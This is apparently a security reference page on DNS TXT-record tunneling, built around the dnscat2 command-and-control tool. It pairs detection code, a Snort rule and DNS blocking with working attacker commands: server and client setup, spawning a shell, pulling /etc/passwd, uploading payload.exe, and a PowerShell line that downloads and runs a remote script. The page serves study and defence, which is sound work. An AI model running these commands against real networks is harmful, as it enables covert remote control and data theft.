dns txt record tunneling
on this page
dns txt record tunneling exploits text records originally designed for domain verification and spf records. txt records are universally supported and rarely blocked, making them ideal for covert communication.
technical description
txt records (type 16) can store up to 255 octets per string with multiple strings per record. the technique encodes binary data in base64 and transmits through dns queries and responses.
key characteristics:
- 255 byte limit per txt string
- multiple strings allowed per record
- base64 encoding reduces efficiency to ~190 bytes
- universally supported by dns infrastructure
- commonly used for legitimate purposes (spf, dkim, domain verification)
implementation: dnscat2
overview
dnscat2 (https://github.com/iagox86/dnscat2) provides an encrypted command and control framework:
- encrypted by default (salsa20)
- session-based architecture
- supports txt, cname, mx, and a records
- interactive shell access
- file transfer capabilities
- port forwarding
installation
# server (ruby)
git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/server
gem install bundler
bundle install
# client (c)
cd ../client
make
server setup
# basic server
ruby dnscat2.rb
# with domain
ruby dnscat2.rb tunnel.example.com
# with pre-shared secret
ruby dnscat2.rb --secret=password123
# specify port
ruby dnscat2.rb --dns-port=5353
# no encryption (not recommended)
ruby dnscat2.rb --no-encryption
# debug mode
ruby dnscat2.rb --debug
client connection
# direct connection
./dnscat --secret=password123 tunnel.example.com
# through specific dns server
./dnscat --dns=8.8.8.8 --secret=password123 tunnel.example.com
# specify record type
./dnscat --type=TXT --secret=password123 tunnel.example.com
# execute command
./dnscat --exec="cmd.exe" --secret=password123 tunnel.example.com
interactive usage
# server console commands
dnscat2> windows
dnscat2> window -i 1 # switch to session 1
dnscat2> shell # spawn shell
dnscat2> download /etc/passwd
dnscat2> upload payload.exe c:\temp\payload.exe
dnscat2> suspend # background session
powershell implementation
dnscat2-powershell (https://github.com/lukebaggett/dnscat2-powershell):
# import module
IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/lukebaggett/dnscat2-powershell/master/dnscat2.ps1')
# connect to server
Start-Dnscat2 -Domain tunnel.example.com -PreSharedSecret password123
# with custom dns
Start-Dnscat2 -Domain tunnel.example.com -DNSServer 8.8.8.8 -PreSharedSecret password123
traffic characteristics
query structure
# encoded data in subdomain
base64data.tunnel.example.com TXT
# response contains commands
tunnel.example.com. 0 IN TXT "v=dnscat2 d=base64encodeddata"
packet analysis
# detect dnscat2 traffic
from scapy.all import *
import base64
def analyze_dnscat2(pcap_file):
packets = rdpcap(pcap_file)
for p in packets:
if p.haslayer(DNS) and p[DNS].qd:
if p[DNS].qd.qtype == 16: # TXT record
domain = p[DNS].qd.qname.decode()
subdomain = domain.split('.')[0]
# check for base64 pattern
try:
decoded = base64.b64decode(subdomain)
print(f"possible dnscat2: {domain}")
except:
pass
encoding and encryption
data encoding
# simplified encoding concept
import base64
def encode_for_txt(data):
# txt records limited to 255 chars
encoded = base64.b64encode(data).decode()
chunks = [encoded[i:i+189] for i in range(0, len(encoded), 189)]
return chunks
def decode_from_txt(chunks):
combined = ''.join(chunks)
return base64.b64decode(combined)
encryption
dnscat2 uses salsa20 stream cipher:
# server generates keypair
@keypair = CryptoHelper.generate_keypair()
# client encrypts with server public key
encrypted = Salsa20.new(shared_secret).encrypt(data)
detection methods
behavioral indicators
- high frequency txt queries to single domain
- base64-encoded subdomains
- consistent query patterns from single host
- txt responses with high entropy
- unusual txt record content
detection rules
# snort rule
alert udp any any -> any 53 (
msg:"possible dnscat2 txt tunnel";
content:"|00 10|"; dns_query;
pcre:"/^[a-zA-Z0-9+\/]{20,}/";
threshold: type limit, track by_src, count 20, seconds 60;
sid:1000002;
)
statistical analysis
# frequency analysis
from collections import Counter
import time
def detect_txt_tunneling(queries, threshold=50):
# track txt queries per domain per minute
domain_counts = Counter()
for query in queries:
if query['type'] == 'TXT':
base_domain = '.'.join(query['domain'].split('.')[-2:])
domain_counts[base_domain] += 1
# flag domains exceeding threshold
suspicious = [d for d, c in domain_counts.items() if c > threshold]
return suspicious
countermeasures
dns filtering
# block suspicious txt queries
# bind9 response policy zone
zone "rpz.local" {
type master;
file "/etc/bind/rpz.local";
};
# rpz.local file
tunnel.example.com CNAME . ; block domain
*.tunnel.example.com CNAME . ; block subdomains
content inspection
# inspect txt record content
def inspect_txt_content(txt_data):
suspicious_patterns = [
r'^v=dnscat',
r'^[A-Za-z0-9+/]{50,}={0,2}$', # base64
r'^0x[0-9a-fA-F]+$' # hex data
]
for pattern in suspicious_patterns:
if re.match(pattern, txt_data):
return True
return False
advantages and limitations
advantages
- txt records rarely blocked
- legitimate cover traffic (spf, dkim)
- multiple encoding options
- encrypted communication
- cross-platform support
limitations
- lower bandwidth than null records
- 255 byte limit per string
- base64 encoding overhead (25%)
- more common, easier to detect
- requires careful traffic shaping
alternative implementations
dns-txt-tunnel
simpler txt tunneling:
# basic txt tunnel implementation
python dns-txt-tunnel.py server tunnel.example.com
python dns-txt-tunnel.py client tunnel.example.com
dnscapy
scapy-based implementation:
# educational txt tunneling
from dnscapy import DNSTunnel
tunnel = DNSTunnel("tunnel.example.com")
tunnel.send("covert data")
real-world usage
documented campaigns
- apt32 (oceanlotus): txt record c2 channels
- oilrig: dns tunneling toolkit with txt support
- 2018 dnsmessenger: powershell-based txt tunneling
malware families
- pisloader: txt record staging
- denis: txt-based backdoor
- dnsmessenger: pure dns c2
testing setup
lab environment
# configure authoritative dns
cat > /etc/bind/named.conf.local << EOF
zone "tunnel.local" {
type master;
file "/etc/bind/db.tunnel.local";
};
EOF
# zone file
cat > /etc/bind/db.tunnel.local << EOF
\$TTL 0
@ IN SOA ns.tunnel.local. admin.tunnel.local. (1 0 0 0 0)
@ IN NS ns.tunnel.local.
ns IN A 192.168.1.100
EOF
# start dnscat2 server
ruby dnscat2.rb tunnel.local --secret=test123
# test client
./dnscat --secret=test123 tunnel.local
traffic generation
# generate sample traffic
for i in {1..100}; do
nslookup -type=TXT random$i.tunnel.local
sleep 0.5
done
# capture for analysis
tcpdump -i any -w dnscat2_traffic.pcap 'port 53'
references
- “dnscat2: powershell and application whitelisting” - black hills infosec
- “dns tunneling: detection and prevention” - infoblox
- “apt32 and the art of the dns tunnel” - fireeye
- dnscat2 documentation: https://github.com/iagox86/dnscat2/blob/master/README.md